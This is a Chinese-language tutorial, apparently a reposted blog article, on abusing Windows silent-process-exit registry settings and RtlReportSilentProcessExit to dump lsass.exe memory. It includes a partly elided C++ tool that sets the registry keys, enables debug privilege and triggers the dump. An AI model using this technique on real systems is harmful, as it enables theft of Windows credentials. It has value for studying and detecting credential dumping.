一起聊聊静默退出与Dump

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)

基础知识

我们先来看看什么是静默退出,在Windows7开始,就可以设置对指定进程的静默退出(官方术语是”无提示进程退出”)。监视功能不会检测进程最后一个线程退出时发生的正常进程终止,监视功能不会检测由内核模式代码启动的进程终止。
如果我们要对某进程使用静默退出,我们可以在注册表中如下设置,将GlobalFlag值设置为0x200,当然我们需要先设置ProcessName项指定进程

HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName  
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName\\GlobalFlag

我们还可以配置当进程以无提示方式退出时要执行的操作。可以配置通知、事件日志记录和转储文件的创建,因为我们要Dump,因此我们重点关心转储文件的创建。
这里有全局配置与应用程序设置两种

  • 全局设置:适用于静默退出监视的所有进程,在注册表中的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
  • 应用程序设置:设用于单个进程的设置,在注册中设置的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName

我们这里选择应用程序设置即可,没必要使用全局的设置。还有很多设置,但是这里我们只看我们需要使用的,所有我们来看看报告模式,大致就是检测到进程静默退出后,执行的操作(但是此设置不能用于全局设置)

ReportingMode有三个值可以设置,这里我们选择LOCAL_DUMP(0x2)

既然我们使用转储文件,那么还需要指定转储文件的位置

LocalDumpFolder所对应的值即可我们转储文件所存放的位置,那对于我们的转储文件有没有大小的限制呢,默认情况下是没有限制的。

我们还需要看看转储类型

我们可以设置DumpType的值去指定我们需要转储的类型,上面图片可能看不太明白,这不影响,我们可以设置为2,为什么设置为2我们看看如下

然后就是最重要的一步了,如何使进程崩溃(lsass.exe进程崩溃的话会导致机器重启),显然真的让其崩溃肯定不可取。我们可以利用RtlReportSilentProcessExit这个函数API,该API会与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。但是调用此API不会导致进程退出。所有这一步就解决了。
关于RtlReportSilentProcessExit函数的定义

现在应该思路很清晰了吧,我们可以写个简单的利用程序来帮助我们自动化Dump,我们可以利用Windows API函数帮助我们去设置这些值,这里主要用到RegCreateKeyExW、RegSetValueExW,对于这两个函数的用法与用途,我们来简单的介绍一下

RegCreateKeyExW

该函数主要用于打开指定的注册表的项,如果不存在那么就创建,我们编写一个简单的程序来看看效果

#include <windows.h>
#include <iostream>

using namespace std;

int main(){
HKEY hKey \= HKEY\_CURRENT\_USER;
LPCWSTR lpSubKey \= L"Software\\\\test";
HKEY phkResult \=NULL;
DWORD Result \=NULL;

RegCreateKeyExW(hKey, lpSubKey,0,NULL, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS,NULL,&phkResult,&Result);
if (Result \==0x00000001L){
cout <<"\[+\] 密钥不存在且已创建"<< endl;
}
else if (Result \==0x00000002L)
{
cout <<"\[+\] 密钥已存在"<< endl;
}
else
{
cout <<"\[-\] RegCreateKeyExW Error"<< endl;
}

}

RegSetValueExW

该函数主要就是在指定的子项中设定指定的数值

#include <windows.h>
#include <iostream>

using namespace std;

int main(){
HKEY hKey \= HKEY\_CURRENT\_USER;
LPCWSTR lpSubKey \= L"Software\\\\test";
HKEY phkResult \=NULL;

LSTATUS Open \= RegOpenKeyExW(hKey, lpSubKey, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS,&phkResult);
if (Open != ERROR\_SUCCESS){
cout <<"\[-\] Not found"<< endl;

return 1;
}
cout <<"\[+\] RegOpenKeyExW Success"<< endl;

DWORD Test\_Value \=0x20;
LSTATUS SetValye \= RegSetValueExW(phkResult, L"test",0, REG\_DWORD,(const BYTE\*)&Test\_Value, sizeof(DWORD));
if (SetValye != ERROR\_SUCCESS){
cout <<"\[-\] RegSetValueExW Error"<< endl;

return 1;
}
cout <<"\[+\] RegSetValueExW Success"<< endl;
}

好了我们现在来总结一下步骤

  • RegCreateKeyExW、RegSetValueExW设置注册表中的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName 、HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName\GlobalFlag
  • RegCreateKeyExW、RegSetValueExW设置注册表中的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName
  • 设置好后获取目标进程,后调用RtlReportSilentProcessExit

代码实现

#include <windows.h>
#include <iostream>
#include <string>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>

using namespace std;

typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func)(
_In_ HANDLE ProcessHandle,
_In_ NTSTATUS ExitStatus
);

RtlReportSilentProcessExit_func RtlReportSilentProcessExit =(RtlReportSilentProcessExit_func)GetProcAddress(GetModuleHandle("ntdll.dll"),"RtlReportSilentProcessExit");

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege,BOOL Enable,BOOL CurrentThread, PULONG Enabled
);

_RtlAdjustPrivilege RtlAdjustPrivilege =(_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"),"RtlAdjustPrivilege");

int SeDebugPrivilege(){
ULONG t;
RtlAdjustPrivilege(20,TRUE,FALSE,&t);
if (RtlAdjustPrivilege ==NULL){
cout <<"[-] Unable to resolve RtlAdjustPrivilege"<< endl;
return 1;
}

cout <<"[+] RtlAdjustPrivilege Success"<< endl;
}

int GetPid(){
HRESULT hr;

DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize= sizeof(PROCESSENTRY32);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
if (Process32First(snapshot,&ed)==TRUE)
{
while (Process32Next(snapshot,&ed)==TRUE)
{
if ((string)ed.szExeFile=="lsass.exe"){
pid = ed.th32ProcessID;
}
}
}
CloseHandle(snapshot);

return pid;
}

int RegeditSet(){
HKEY hKey = HKEY_LOCAL_MACHINE;
LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe";
HKEY phkResult;
DWORD Result =NULL;
.............................................................
.............................................................
.............................................................
}
else
{
cout <<"[-] RegCreateKeyExW SilentProcessExit Error"<< endl;
return 1;
}

DWORD ReportingMode =0x2;
WCHAR LocalDumpFolder[MAX_PATH]= L"C:\\temp";
DWORD DumpType =0x2;

.............................................................
.............................................................
.............................................................
if (RegSetValue_ReportingMode != ERROR_SUCCESS || RegSetValue_LocalDumpFolder != ERROR_SUCCESS
|| RegSetValue_DumpType != ERROR_SUCCESS){

cout <<"[-] RegSetValueExW has an Error "<< endl;
return 1;
}

cout <<"[+] Success Setting All"<< endl;
}

int main(){
if (RegeditSet()==1){
return 1;
}
DWORD pid = GetPid();
cout <<"[+] Lsass Pid is:"<< pid << endl;

SeDebugPrivilege();
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, pid);

if (hProcess ==NULL){
cout <<"[-] OpenProcess Error"<< endl;
return 1;
}
RtlReportSilentProcessExit(hProcess,0);
cout <<"[+] Path:C:\\tmp"<< endl;
}

参考:(建议详细阅读完)​​https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit​​

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/139298.html<

(0)
管理的头像管理
上一篇2025-03-03 10:12
下一篇 2025-03-03 10:13

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注